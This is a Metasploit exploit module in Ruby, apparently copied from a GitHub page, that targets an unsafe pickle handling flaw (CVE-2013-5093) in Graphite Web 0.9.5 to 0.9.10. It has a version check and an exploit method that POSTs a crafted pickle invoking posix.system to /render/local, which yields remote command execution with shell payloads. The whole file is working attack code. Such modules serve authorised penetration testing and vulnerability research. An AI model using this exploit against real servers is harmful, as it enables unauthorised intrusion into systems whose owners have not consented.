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metasploit-framework/modules/exploits/unix/webapp/graphite_pickle_exec.rb /
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| ## | |
| # This module requires Metasploit: https://metasploit.com/download | |
| # Current source: https://github.com/rapid7/metasploit-framework | |
| ## | |
| class MetasploitModule < Msf::Exploit::Remote | |
| Rank = ExcellentRanking | |
| include Msf::Exploit::Remote::HttpClient | |
| def initialize(info = {}) | |
| super(update_info(info, | |
| 'Name' => 'Graphite Web Unsafe Pickle Handling', | |
| 'Description' => %q{ | |
| This module exploits a remote code execution vulnerability in the pickle | |
| handling of the rendering code in the Graphite Web project between version | |
| 0.9.5 and 0.9.10 (both included). | |
| }, | |
| 'Author' => | |
| [ | |
| 'Charlie Eriksen', # Initial discovery and exploit | |
| 'funkypickle' # Version check to prove vulnerable | |
| ], | |
| 'License' => MSF_LICENSE, | |
| 'References' => | |
| [ | |
| [ 'CVE', '2013-5093'], | |
| [ 'URL', 'http://ceriksen.com/2013/08/20/graphite-remote-code-execution-vulnerability-advisory/'] | |
| ], | |
| 'Platform' => 'unix', | |
| 'Arch' => ARCH_CMD, | |
| 'Privileged' => false, | |
| 'Targets' => [ ['Automatic', {} ] ], | |
| 'DisclosureDate' => '2013-08-20', | |
| 'DefaultTarget' => 0, | |
| 'Payload' => | |
| { | |
| 'DisableNops' => true, | |
| 'Space' => 16384, | |
| 'Compat' => | |
| { | |
| 'PayloadType' => 'cmd', | |
| 'RequiredCmd' => 'python generic telnet netcat perl ruby' | |
| } | |
| })) | |
| register_options( | |
| [ | |
| OptString.new('TARGETURI', [ true, 'The path to a vulnerable application', '/']) | |
| ]) | |
| end | |
| def check | |
| res1 = send_request_cgi({ | |
| # trailing slash required | |
| 'uri' => normalize_uri(target_uri.path, 'version/'), | |
| 'method' => 'GET' | |
| }) | |
| res2 = send_request_cgi({ | |
| 'uri' => normalize_uri(target_uri.path, 'render', 'local'), | |
| 'method' => 'POST' | |
| }) | |
| if (res1 and %w(0.9.5 0.9.10).include?(res1.body.strip)) and (res2 and res2.code == 500) | |
| return Exploit::CheckCode::Vulnerable | |
| end | |
| return Exploit::CheckCode::Safe | |
| end | |
| def exploit | |
| data = "line\ncposix\nsystem\np1\n(S'#{payload.encoded}'\np2\ntp3\nRp4\n." | |
| print_status("Sending exploit payload...") | |
| response = send_request_cgi({ | |
| 'uri' => normalize_uri(target_uri.path, 'render', 'local'), | |
| 'method' => 'POST', | |
| 'data' => data | |
| }) | |
| end | |
| end |